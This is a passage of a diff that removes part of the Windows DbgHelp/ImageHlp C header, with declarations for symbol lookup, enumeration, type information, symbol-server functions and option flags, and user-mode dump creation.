-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymUnDName SymUnDName64
-#else
-BOOL
-IMAGEAPI
-SymUnDName(
- __in PIMAGEHLP_SYMBOL sym, // Symbol to undecorate
- __out_ecount(UnDecNameLength) PSTR UnDecName, // Buffer to store undecorated name in
- __in DWORD UnDecNameLength // Size of the buffer
- );
-#endif
-
-BOOL
-IMAGEAPI
-SymRegisterCallback64(
- __in HANDLE hProcess,
- __in PSYMBOL_REGISTERED_CALLBACK64 CallbackFunction,
- __in ULONG64 UserContext
- );
-
-BOOL
-IMAGEAPI
-SymRegisterCallbackW64(
- __in HANDLE hProcess,
- __in PSYMBOL_REGISTERED_CALLBACK64 CallbackFunction,
- __in ULONG64 UserContext
- );
-
-BOOL
-IMAGEAPI
-SymRegisterFunctionEntryCallback64(
- __in HANDLE hProcess,
- __in PSYMBOL_FUNCENTRY_CALLBACK64 CallbackFunction,
- __in ULONG64 UserContext
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymRegisterCallback SymRegisterCallback64
-#define SymRegisterFunctionEntryCallback SymRegisterFunctionEntryCallback64
-#else
-BOOL
-IMAGEAPI
-SymRegisterCallback(
- __in HANDLE hProcess,
- __in PSYMBOL_REGISTERED_CALLBACK CallbackFunction,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymRegisterFunctionEntryCallback(
- __in HANDLE hProcess,
- __in PSYMBOL_FUNCENTRY_CALLBACK CallbackFunction,
- __in_opt PVOID UserContext
- );
-#endif
-
-
-typedef struct _IMAGEHLP_SYMBOL_SRC {
- DWORD sizeofstruct;
- DWORD type;
- char file[MAX_PATH];
-} IMAGEHLP_SYMBOL_SRC, *PIMAGEHLP_SYMBOL_SRC;
-
-typedef struct _MODULE_TYPE_INFO { // AKA TYPTYP
- USHORT dataLength;
- USHORT leaf;
- BYTE data[1];
-} MODULE_TYPE_INFO, *PMODULE_TYPE_INFO;
-
-typedef struct _SYMBOL_INFO {
- ULONG SizeOfStruct;
- ULONG TypeIndex; // Type Index of symbol
- ULONG64 Reserved[2];
- ULONG Index;
- ULONG Size;
- ULONG64 ModBase; // Base Address of module comtaining this symbol
- ULONG Flags;
- ULONG64 Value; // Value of symbol, ValuePresent should be 1
- ULONG64 Address; // Address of symbol including base address of module
- ULONG Register; // register holding value or pointer to value
- ULONG Scope; // scope of the symbol
- ULONG Tag; // pdb classification
- ULONG NameLen; // Actual length of name
- ULONG MaxNameLen;
- CHAR Name[1]; // Name of symbol
-} SYMBOL_INFO, *PSYMBOL_INFO;
-
-typedef struct _SYMBOL_INFO_PACKAGE {
- SYMBOL_INFO si;
- CHAR name[MAX_SYM_NAME + 1];
-} SYMBOL_INFO_PACKAGE, *PSYMBOL_INFO_PACKAGE;
-
-typedef struct _SYMBOL_INFOW {
- ULONG SizeOfStruct;
- ULONG TypeIndex; // Type Index of symbol
- ULONG64 Reserved[2];
- ULONG Index;
- ULONG Size;
- ULONG64 ModBase; // Base Address of module comtaining this symbol
- ULONG Flags;
- ULONG64 Value; // Value of symbol, ValuePresent should be 1
- ULONG64 Address; // Address of symbol including base address of module
- ULONG Register; // register holding value or pointer to value
- ULONG Scope; // scope of the symbol
- ULONG Tag; // pdb classification
- ULONG NameLen; // Actual length of name
- ULONG MaxNameLen;
- WCHAR Name[1]; // Name of symbol
-} SYMBOL_INFOW, *PSYMBOL_INFOW;
-
-typedef struct _SYMBOL_INFO_PACKAGEW {
- SYMBOL_INFOW si;
- WCHAR name[MAX_SYM_NAME + 1];
-} SYMBOL_INFO_PACKAGEW, *PSYMBOL_INFO_PACKAGEW;
-
-typedef struct _IMAGEHLP_STACK_FRAME
-{
- ULONG64 InstructionOffset;
- ULONG64 ReturnOffset;
- ULONG64 FrameOffset;
- ULONG64 StackOffset;
- ULONG64 BackingStoreOffset;
- ULONG64 FuncTableEntry;
- ULONG64 Params[4];
- ULONG64 Reserved[5];
- BOOL Virtual;
- ULONG Reserved2;
-} IMAGEHLP_STACK_FRAME, *PIMAGEHLP_STACK_FRAME;
-
-typedef VOID IMAGEHLP_CONTEXT, *PIMAGEHLP_CONTEXT;
-
-
-BOOL
-IMAGEAPI
-SymSetContext(
- __in HANDLE hProcess,
- __in PIMAGEHLP_STACK_FRAME StackFrame,
- __in_opt PIMAGEHLP_CONTEXT Context
- );
-
-BOOL
-IMAGEAPI
-SymSetScopeFromAddr(
- __in HANDLE hProcess,
- __in ULONG64 Address
- );
-
-BOOL
-IMAGEAPI
-SymSetScopeFromIndex(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in DWORD Index
- );
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMPROCESSES_CALLBACK)(
- __in HANDLE hProcess,
- __in PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumProcesses(
- __in PSYM_ENUMPROCESSES_CALLBACK EnumProcessesCallback,
- __in PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymFromAddr(
- __in HANDLE hProcess,
- __in DWORD64 Address,
- __out_opt PDWORD64 Displacement,
- __inout PSYMBOL_INFO Symbol
- );
-
-BOOL
-IMAGEAPI
-SymFromAddrW(
- __in HANDLE hProcess,
- __in DWORD64 Address,
- __out_opt PDWORD64 Displacement,
- __inout PSYMBOL_INFOW Symbol
- );
-
-BOOL
-IMAGEAPI
-SymFromToken(
- __in HANDLE hProcess,
- __in DWORD64 Base,
- __in DWORD Token,
- __inout PSYMBOL_INFO Symbol
- );
-
-BOOL
-IMAGEAPI
-SymFromTokenW(
- __in HANDLE hProcess,
- __in DWORD64 Base,
- __in DWORD Token,
- __inout PSYMBOL_INFOW Symbol
- );
-
-BOOL
-IMAGEAPI
-SymNext(
- __in HANDLE hProcess,
- __inout PSYMBOL_INFO si
- );
-
-BOOL
-IMAGEAPI
-SymNextW(
- __in HANDLE hProcess,
- __inout PSYMBOL_INFOW siw
- );
-
-BOOL
-IMAGEAPI
-SymPrev(
- __in HANDLE hProcess,
- __inout PSYMBOL_INFO si
- );
-
-BOOL
-IMAGEAPI
-SymPrevW(
- __in HANDLE hProcess,
- __inout PSYMBOL_INFOW siw
- );
-
-// While SymFromName will provide a symbol from a name,
-// SymEnumSymbols can provide the same matching information
-// for ALL symbols with a matching name, even regular
-// expressions. That way you can search across modules
-// and differentiate between identically named symbols.
-
-BOOL
-IMAGEAPI
-SymFromName(
- __in HANDLE hProcess,
- __in PCSTR Name,
- __inout PSYMBOL_INFO Symbol
- );
-
-BOOL
-IMAGEAPI
-SymFromNameW(
- __in HANDLE hProcess,
- __in PCWSTR Name,
- __inout PSYMBOL_INFOW Symbol
- );
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMERATESYMBOLS_CALLBACK)(
- __in PSYMBOL_INFO pSymInfo,
- __in ULONG SymbolSize,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumSymbols(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in_opt PCSTR Mask,
- __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMERATESYMBOLS_CALLBACKW)(
- __in PSYMBOL_INFOW pSymInfo,
- __in ULONG SymbolSize,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumSymbolsW(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in_opt PCWSTR Mask,
- __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumSymbolsForAddr(
- __in HANDLE hProcess,
- __in DWORD64 Address,
- __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumSymbolsForAddrW(
- __in HANDLE hProcess,
- __in DWORD64 Address,
- __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-
-#define SYMSEARCH_MASKOBJS 0x01 // used internally to implement other APIs
-#define SYMSEARCH_RECURSE 0X02 // recurse scopes
-#define SYMSEARCH_GLOBALSONLY 0X04 // search only for global symbols
-#define SYMSEARCH_ALLITEMS 0X08 // search for everything in the pdb, not just normal scoped symbols
-
-BOOL
-IMAGEAPI
-SymSearch(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in_opt DWORD Index,
- __in_opt DWORD SymTag,
- __in_opt PCSTR Mask,
- __in_opt DWORD64 Address,
- __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback,
- __in_opt PVOID UserContext,
- __in DWORD Options
- );
-
-BOOL
-IMAGEAPI
-SymSearchW(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in_opt DWORD Index,
- __in_opt DWORD SymTag,
- __in_opt PCWSTR Mask,
- __in_opt DWORD64 Address,
- __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback,
- __in_opt PVOID UserContext,
- __in DWORD Options
- );
-
-BOOL
-IMAGEAPI
-SymGetScope(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in DWORD Index,
- __inout PSYMBOL_INFO Symbol
- );
-
-BOOL
-IMAGEAPI
-SymGetScopeW(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in DWORD Index,
- __inout PSYMBOL_INFOW Symbol
- );
-
-BOOL
-IMAGEAPI
-SymFromIndex(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in DWORD Index,
- __inout PSYMBOL_INFO Symbol
- );
-
-BOOL
-IMAGEAPI
-SymFromIndexW(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in DWORD Index,
- __inout PSYMBOL_INFOW Symbol
- );
-
-typedef enum _IMAGEHLP_SYMBOL_TYPE_INFO {
- TI_GET_SYMTAG,
- TI_GET_SYMNAME,
- TI_GET_LENGTH,
- TI_GET_TYPE,
- TI_GET_TYPEID,
- TI_GET_BASETYPE,
- TI_GET_ARRAYINDEXTYPEID,
- TI_FINDCHILDREN,
- TI_GET_DATAKIND,
- TI_GET_ADDRESSOFFSET,
- TI_GET_OFFSET,
- TI_GET_VALUE,
- TI_GET_COUNT,
- TI_GET_CHILDRENCOUNT,
- TI_GET_BITPOSITION,
- TI_GET_VIRTUALBASECLASS,
- TI_GET_VIRTUALTABLESHAPEID,
- TI_GET_VIRTUALBASEPOINTEROFFSET,
- TI_GET_CLASSPARENTID,
- TI_GET_NESTED,
- TI_GET_SYMINDEX,
- TI_GET_LEXICALPARENT,
- TI_GET_ADDRESS,
- TI_GET_THISADJUST,
- TI_GET_UDTKIND,
- TI_IS_EQUIV_TO,
- TI_GET_CALLING_CONVENTION,
- TI_IS_CLOSE_EQUIV_TO,
- TI_GTIEX_REQS_VALID,
- TI_GET_VIRTUALBASEOFFSET,
- TI_GET_VIRTUALBASEDISPINDEX,
- TI_GET_IS_REFERENCE,
- TI_GET_INDIRECTVIRTUALBASECLASS,
- IMAGEHLP_SYMBOL_TYPE_INFO_MAX,
-} IMAGEHLP_SYMBOL_TYPE_INFO;
-
-typedef struct _TI_FINDCHILDREN_PARAMS {
- ULONG Count;
- ULONG Start;
- ULONG ChildId[1];
-} TI_FINDCHILDREN_PARAMS;
-
-BOOL
-IMAGEAPI
-SymGetTypeInfo(
- __in HANDLE hProcess,
- __in DWORD64 ModBase,
- __in ULONG TypeId,
- __in IMAGEHLP_SYMBOL_TYPE_INFO GetType,
- __out PVOID pInfo
- );
-
-#define IMAGEHLP_GET_TYPE_INFO_UNCACHED 0x00000001
-#define IMAGEHLP_GET_TYPE_INFO_CHILDREN 0x00000002
-
-typedef struct _IMAGEHLP_GET_TYPE_INFO_PARAMS {
- IN ULONG SizeOfStruct;
- IN ULONG Flags;
- IN ULONG NumIds;
- IN PULONG TypeIds;
- IN ULONG64 TagFilter;
- IN ULONG NumReqs;
- IN IMAGEHLP_SYMBOL_TYPE_INFO* ReqKinds;
- IN PULONG_PTR ReqOffsets;
- IN PULONG ReqSizes;
- IN ULONG_PTR ReqStride;
- IN ULONG_PTR BufferSize;
- OUT PVOID Buffer;
- OUT ULONG EntriesMatched;
- OUT ULONG EntriesFilled;
- OUT ULONG64 TagsFound;
- OUT ULONG64 AllReqsValid;
- IN ULONG NumReqsValid;
- OUT PULONG64 ReqsValid OPTIONAL;
-} IMAGEHLP_GET_TYPE_INFO_PARAMS, *PIMAGEHLP_GET_TYPE_INFO_PARAMS;
-
-BOOL
-IMAGEAPI
-SymGetTypeInfoEx(
- __in HANDLE hProcess,
- __in DWORD64 ModBase,
- __inout PIMAGEHLP_GET_TYPE_INFO_PARAMS Params
- );
-
-BOOL
-IMAGEAPI
-SymEnumTypes(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumTypesW(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumTypesByName(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in_opt PCSTR mask,
- __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumTypesByNameW(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in_opt PCWSTR mask,
- __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymGetTypeFromName(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in PCSTR Name,
- __inout PSYMBOL_INFO Symbol
- );
-
-BOOL
-IMAGEAPI
-SymGetTypeFromNameW(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in PCWSTR Name,
- __inout PSYMBOL_INFOW Symbol
- );
-
-BOOL
-IMAGEAPI
-SymAddSymbol(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in PCSTR Name,
- __in DWORD64 Address,
- __in DWORD Size,
- __in DWORD Flags
- );
-
-BOOL
-IMAGEAPI
-SymAddSymbolW(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in PCWSTR Name,
- __in DWORD64 Address,
- __in DWORD Size,
- __in DWORD Flags
- );
-
-BOOL
-IMAGEAPI
-SymDeleteSymbol(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in_opt PCSTR Name,
- __in DWORD64 Address,
- __in DWORD Flags
- );
-
-BOOL
-IMAGEAPI
-SymDeleteSymbolW(
- __in HANDLE hProcess,
- __in ULONG64 BaseOfDll,
- __in_opt PCWSTR Name,
- __in DWORD64 Address,
- __in DWORD Flags
- );
-
-BOOL
-IMAGEAPI
-SymRefreshModuleList(
- __in HANDLE hProcess
- );
-
-BOOL
-IMAGEAPI
-SymAddSourceStream(
- __in HANDLE hProcess,
- __in ULONG64 Base,
- __in_opt PCSTR StreamFile,
- __in_bcount_opt(Size) PBYTE Buffer,
- __in size_t Size
- );
-
-typedef BOOL (WINAPI *SYMADDSOURCESTREAM)(HANDLE, ULONG64, PCSTR, PBYTE, size_t);
-
-BOOL
-IMAGEAPI
-SymAddSourceStreamA(
- __in HANDLE hProcess,
- __in ULONG64 Base,
- __in_opt PCSTR StreamFile,
- __in_bcount_opt(Size) PBYTE Buffer,
- __in size_t Size
- );
-
-typedef BOOL (WINAPI *SYMADDSOURCESTREAMA)(HANDLE, ULONG64, PCSTR, PBYTE, size_t);
-
-BOOL
-IMAGEAPI
-SymAddSourceStreamW(
- __in HANDLE hProcess,
- __in ULONG64 Base,
- __in_opt PCWSTR FileSpec,
- __in_bcount_opt(Size) PBYTE Buffer,
- __in size_t Size
- );
-
-BOOL
-IMAGEAPI
-SymSrvIsStoreW(
- __in_opt HANDLE hProcess,
- __in PCWSTR path
- );
-
-BOOL
-IMAGEAPI
-SymSrvIsStore(
- __in_opt HANDLE hProcess,
- __in PCSTR path
- );
-
-PCSTR
-IMAGEAPI
-SymSrvDeltaName(
- __in HANDLE hProcess,
- __in_opt PCSTR SymPath,
- __in PCSTR Type,
- __in PCSTR File1,
- __in PCSTR File2
- );
-
-PCWSTR
-IMAGEAPI
-SymSrvDeltaNameW(
- __in HANDLE hProcess,
- __in_opt PCWSTR SymPath,
- __in PCWSTR Type,
- __in PCWSTR File1,
- __in PCWSTR File2
- );
-
-PCSTR
-IMAGEAPI
-SymSrvGetSupplement(
- __in HANDLE hProcess,
- __in_opt PCSTR SymPath,
- __in PCSTR Node,
- __in PCSTR File
- );
-
-PCWSTR
-IMAGEAPI
-SymSrvGetSupplementW(
- __in HANDLE hProcess,
- __in_opt PCWSTR SymPath,
- __in PCWSTR Node,
- __in PCWSTR File
- );
-
-BOOL
-IMAGEAPI
-SymSrvGetFileIndexes(
- __in PCSTR File,
- __out GUID *Id,
- __out PDWORD Val1,
- __out_opt PDWORD Val2,
- __in DWORD Flags
- );
-
-BOOL
-IMAGEAPI
-SymSrvGetFileIndexesW(
- __in PCWSTR File,
- __out GUID *Id,
- __out PDWORD Val1,
- __out_opt PDWORD Val2,
- __in DWORD Flags
- );
-
-BOOL
-IMAGEAPI
-SymSrvGetFileIndexStringW(
- __in HANDLE hProcess,
- __in_opt PCWSTR SrvPath,
- __in PCWSTR File,
- __out_ecount(Size) PWSTR Index,
- __in size_t Size,
- __in DWORD Flags
- );
-
-BOOL
-IMAGEAPI
-SymSrvGetFileIndexString(
- __in HANDLE hProcess,
- __in_opt PCSTR SrvPath,
- __in PCSTR File,
- __out_ecount(Size) PSTR Index,
- __in size_t Size,
- __in DWORD Flags
- );
-
-typedef struct {
- DWORD sizeofstruct;
- char file[MAX_PATH +1];
- BOOL stripped;
- DWORD timestamp;
- DWORD size;
- char dbgfile[MAX_PATH +1];
- char pdbfile[MAX_PATH + 1];
- GUID guid;
- DWORD sig;
- DWORD age;
-} SYMSRV_INDEX_INFO, *PSYMSRV_INDEX_INFO;
-
-typedef struct {
- DWORD sizeofstruct;
- WCHAR file[MAX_PATH +1];
- BOOL stripped;
- DWORD timestamp;
- DWORD size;
- WCHAR dbgfile[MAX_PATH +1];
- WCHAR pdbfile[MAX_PATH + 1];
- GUID guid;
- DWORD sig;
- DWORD age;
-} SYMSRV_INDEX_INFOW, *PSYMSRV_INDEX_INFOW;
-
-BOOL
-IMAGEAPI
-SymSrvGetFileIndexInfo(
- __in PCSTR File,
- __out PSYMSRV_INDEX_INFO Info,
- __in DWORD Flags
- );
-
-BOOL
-IMAGEAPI
-SymSrvGetFileIndexInfoW(
- __in PCWSTR File,
- __out PSYMSRV_INDEX_INFOW Info,
- __in DWORD Flags
- );
-
-PCSTR
-IMAGEAPI
-SymSrvStoreSupplement(
- __in HANDLE hProcess,
- __in_opt PCSTR SrvPath,
- __in PCSTR Node,
- __in PCSTR File,
- __in DWORD Flags
- );
-
-PCWSTR
-IMAGEAPI
-SymSrvStoreSupplementW(
- __in HANDLE hProcess,
- __in_opt PCWSTR SymPath,
- __in PCWSTR Node,
- __in PCWSTR File,
- __in DWORD Flags
- );
-
-PCSTR
-IMAGEAPI
-SymSrvStoreFile(
- __in HANDLE hProcess,
- __in_opt PCSTR SrvPath,
- __in PCSTR File,
- __in DWORD Flags
- );
-
-PCWSTR
-IMAGEAPI
-SymSrvStoreFileW(
- __in HANDLE hProcess,
- __in_opt PCWSTR SrvPath,
- __in PCWSTR File,
- __in DWORD Flags
- );
-
-// used by SymGetSymbolFile's "Type" parameter
-
-typedef enum {
- sfImage = 0,
- sfDbg,
- sfPdb,
- sfMpd,
- sfMax
-};
-
-BOOL
-IMAGEAPI
-SymGetSymbolFile(
- __in_opt HANDLE hProcess,
- __in_opt PCSTR SymPath,
- __in PCSTR ImageFile,
- __in DWORD Type,
- __out_ecount(cSymbolFile) PSTR SymbolFile,
- __in size_t cSymbolFile,
- __out_ecount(cDbgFile) PSTR DbgFile,
- __in size_t cDbgFile
- );
-
-BOOL
-IMAGEAPI
-SymGetSymbolFileW(
- __in_opt HANDLE hProcess,
- __in_opt PCWSTR SymPath,
- __in PCWSTR ImageFile,
- __in DWORD Type,
- __out_ecount(cSymbolFile) PWSTR SymbolFile,
- __in size_t cSymbolFile,
- __out_ecount(cDbgFile) PWSTR DbgFile,
- __in size_t cDbgFile
- );
-
-//
-// Full user-mode dump creation.
-//
-
-typedef BOOL (WINAPI *PDBGHELP_CREATE_USER_DUMP_CALLBACK)(
- __in DWORD DataType,
- __in PVOID* Data,
- __out LPDWORD DataLength,
- __in_opt PVOID UserData
- );
-
-BOOL
-WINAPI
-DbgHelpCreateUserDump(
- __in_opt LPCSTR FileName,
- __in PDBGHELP_CREATE_USER_DUMP_CALLBACK Callback,
- __in_opt PVOID UserData
- );
-
-BOOL
-WINAPI
-DbgHelpCreateUserDumpW(
- __in_opt LPCWSTR FileName,
- __in PDBGHELP_CREATE_USER_DUMP_CALLBACK Callback,
- __in_opt PVOID UserData
- );
-
-// -----------------------------------------------------------------
-// The following 4 legacy APIs are fully supported, but newer
-// ones are recommended. SymFromName and SymFromAddr provide
-// much more detailed info on the returned symbol.
-
-BOOL
-IMAGEAPI
-SymGetSymFromAddr64(
- __in HANDLE hProcess,
- __in DWORD64 qwAddr,
- __out_opt PDWORD64 pdwDisplacement,
- __inout PIMAGEHLP_SYMBOL64 Symbol
- );
-
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymGetSymFromAddr SymGetSymFromAddr64
-#else
-BOOL
-IMAGEAPI
-SymGetSymFromAddr(
- __in HANDLE hProcess,
- __in DWORD dwAddr,
- __out_opt PDWORD pdwDisplacement,
- __inout PIMAGEHLP_SYMBOL Symbol
- );
-#endif
-
-// While following two APIs will provide a symbol from a name,
-// SymEnumSymbols can provide the same matching information
-// for ALL symbols with a matching name, even regular
-// expressions. That way you can search across modules
-// and differentiate between identically named symbols.
-
-BOOL
-IMAGEAPI
-SymGetSymFromName64(
- __in HANDLE hProcess,
- __in PCSTR Name,
- __inout PIMAGEHLP_SYMBOL64 Symbol
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymGetSymFromName SymGetSymFromName64
-#else
-BOOL
-IMAGEAPI
-SymGetSymFromName(
- __in HANDLE hProcess,
- __in PCSTR Name,
- __inout PIMAGEHLP_SYMBOL Symbol
- );
-#endif
-
-
-// Symbol server exports
-
-typedef BOOL (WINAPI *PSYMBOLSERVERPROC)(PCSTR, PCSTR, PVOID, DWORD, DWORD, PSTR);
-typedef BOOL (WINAPI *PSYMBOLSERVERPROCA)(PCSTR, PCSTR, PVOID, DWORD, DWORD, PSTR);
-typedef BOOL (WINAPI *PSYMBOLSERVERPROCW)(PCWSTR, PCWSTR, PVOID, DWORD, DWORD, PWSTR);
-typedef BOOL (WINAPI *PSYMBOLSERVERBYINDEXPROC)(PCSTR, PCSTR, PCSTR, PSTR);
-typedef BOOL (WINAPI *PSYMBOLSERVERBYINDEXPROCA)(PCSTR, PCSTR, PCSTR, PSTR);
-typedef BOOL (WINAPI *PSYMBOLSERVERBYINDEXPROCW)(PCWSTR, PCWSTR, PCWSTR, PWSTR);
-typedef BOOL (WINAPI *PSYMBOLSERVEROPENPROC)(VOID);
-typedef BOOL (WINAPI *PSYMBOLSERVERCLOSEPROC)(VOID);
-typedef BOOL (WINAPI *PSYMBOLSERVERSETOPTIONSPROC)(UINT_PTR, ULONG64);
-typedef BOOL (WINAPI *PSYMBOLSERVERSETOPTIONSWPROC)(UINT_PTR, ULONG64);
-typedef BOOL (CALLBACK WINAPI *PSYMBOLSERVERCALLBACKPROC)(UINT_PTR action, ULONG64 data, ULONG64 context);
-typedef UINT_PTR (WINAPI *PSYMBOLSERVERGETOPTIONSPROC)();
-typedef BOOL (WINAPI *PSYMBOLSERVERPINGPROC)(PCSTR);
-typedef BOOL (WINAPI *PSYMBOLSERVERPINGPROCA)(PCSTR);
-typedef BOOL (WINAPI *PSYMBOLSERVERPINGPROCW)(PCWSTR);
-typedef BOOL (WINAPI *PSYMBOLSERVERGETVERSION)(LPAPI_VERSION);
-typedef BOOL (WINAPI *PSYMBOLSERVERDELTANAME)(PCSTR, PVOID, DWORD, DWORD, PVOID, DWORD, DWORD, PSTR, size_t);
-typedef BOOL (WINAPI *PSYMBOLSERVERDELTANAMEW)(PCWSTR, PVOID, DWORD, DWORD, PVOID, DWORD, DWORD, PWSTR, size_t);
-typedef BOOL (WINAPI *PSYMBOLSERVERGETSUPPLEMENT)(PCSTR, PCSTR, PCSTR, PSTR, size_t);
-typedef BOOL (WINAPI *PSYMBOLSERVERGETSUPPLEMENTW)(PCWSTR, PCWSTR, PCWSTR, PWSTR, size_t);
-typedef BOOL (WINAPI *PSYMBOLSERVERSTORESUPPLEMENT)(PCSTR, PCSTR, PCSTR, PSTR, size_t, DWORD);
-typedef BOOL (WINAPI *PSYMBOLSERVERSTORESUPPLEMENTW)(PCWSTR, PCWSTR, PCWSTR, PWSTR, size_t, DWORD);
-typedef BOOL (WINAPI *PSYMBOLSERVERGETINDEXSTRING)(PVOID, DWORD, DWORD, PSTR, size_t);
-typedef BOOL (WINAPI *PSYMBOLSERVERGETINDEXSTRINGW)(PVOID, DWORD, DWORD, PWSTR, size_t);
-typedef BOOL (WINAPI *PSYMBOLSERVERSTOREFILE)(PCSTR, PCSTR, PVOID, DWORD, DWORD, PSTR, size_t, DWORD);
-typedef BOOL (WINAPI *PSYMBOLSERVERSTOREFILEW)(PCWSTR, PCWSTR, PVOID, DWORD, DWORD, PWSTR, size_t, DWORD);
-typedef BOOL (WINAPI *PSYMBOLSERVERISSTORE)(PCSTR);
-typedef BOOL (WINAPI *PSYMBOLSERVERISSTOREW)(PCWSTR);
-typedef DWORD (WINAPI *PSYMBOLSERVERVERSION)();
-typedef BOOL (CALLBACK WINAPI *PSYMBOLSERVERMESSAGEPROC)(UINT_PTR action, ULONG64 data, ULONG64 context);
-
-#define SYMSRV_VERSION 2
-
-#define SSRVOPT_CALLBACK 0x00000001
-#define SSRVOPT_DWORD 0x00000002
-#define SSRVOPT_DWORDPTR 0x00000004
-#define SSRVOPT_GUIDPTR 0x00000008
-#define SSRVOPT_OLDGUIDPTR 0x00000010
-#define SSRVOPT_UNATTENDED 0x00000020
-#define SSRVOPT_NOCOPY 0x00000040
-#define SSRVOPT_GETPATH 0x00000040
-#define SSRVOPT_PARENTWIN 0x00000080
-#define SSRVOPT_PARAMTYPE 0x00000100
-#define SSRVOPT_SECURE 0x00000200
-#define SSRVOPT_TRACE 0x00000400
-#define SSRVOPT_SETCONTEXT 0x00000800
-#define SSRVOPT_PROXY 0x00001000
-#define SSRVOPT_DOWNSTREAM_STORE 0x00002000
-#define SSRVOPT_OVERWRITE 0x00004000
-#define SSRVOPT_RESETTOU 0x00008000
-#define SSRVOPT_CALLBACKW 0x00010000
-#define SSRVOPT_FLAT_DEFAULT_STORE 0x00020000
-#define SSRVOPT_PROXYW 0x00040000
-#define SSRVOPT_MESSAGE 0x00080000
-#define SSRVOPT_SERVICE 0x00100000 // deprecated
-#define SSRVOPT_FAVOR_COMPRESSED 0x00200000
-#define SSRVOPT_STRING 0x00400000
-#define SSRVOPT_WINHTTP 0x00800000
-#define SSRVOPT_WININET 0x01000000
-
-#define SSRVOPT_MAX 0x0100000
-
-#define SSRVOPT_RESET ((ULONG_PTR)-1)
-
-
-#define NUM_SSRVOPTS 30
-
-#define SSRVACTION_TRACE 1
-#define SSRVACTION_QUERYCANCEL 2
-#define SSRVACTION_EVENT 3
-#define SSRVACTION_EVENTW 4
-#define SSRVACTION_SIZE 5
-
-#define SYMSTOREOPT_COMPRESS 0x01
-#define SYMSTOREOPT_OVERWRITE 0x02
-#define SYMSTOREOPT_RETURNINDEX 0x04
-#define SYMSTOREOPT_POINTER 0x08
-#define SYMSTOREOPT_ALT_INDEX 0x10
-#define SYMSTOREOPT_UNICODE 0x20
-#define SYMSTOREOPT_PASS_IF_EXISTS 0x40
-
-#ifdef DBGHELP_TRANSLATE_TCHAR
- #define SymInitialize SymInitializeW
- #define SymAddSymbol SymAddSymbolW
- #define SymDeleteSymbol SymDeleteSymbolW
- #define SearchTreeForFile SearchTreeForFileW
- #define UnDecorateSymbolName UnDecorateSymbolNameW
- #define SymGetLineFromName64 SymGetLineFromNameW64
- #define SymGetLineFromAddr64 SymGetLineFromAddrW64
- #define SymGetLineNext64 SymGetLineNextW64
- #define SymGetLinePrev64 SymGetLinePrevW64
- #define SymFromName SymFromNameW
- #define SymFindExecutableImage SymFindExecutableImageW
- #define FindExecutableImageEx FindExecutableImageExW
- #define SymSearch SymSearchW
- #define SymEnumLines SymEnumLinesW
- #define SymEnumSourceLines SymEnumSourceLinesW
- #define SymGetTypeFromName SymGetTypeFromNameW
- #define SymEnumSymbolsForAddr SymEnumSymbolsForAddrW
- #define SymFromAddr SymFromAddrW
- #define SymMatchString SymMatchStringW
- #define SymEnumSourceFiles SymEnumSourceFilesW
- #define SymEnumSymbols SymEnumSymbolsW
- #define SymLoadModuleEx SymLoadModuleExW
- #define SymSetSearchPath SymSetSearchPathW
- #define SymGetSearchPath SymGetSearchPathW
- #define EnumDirTree EnumDirTreeW
- #define SymFromToken SymFromTokenW
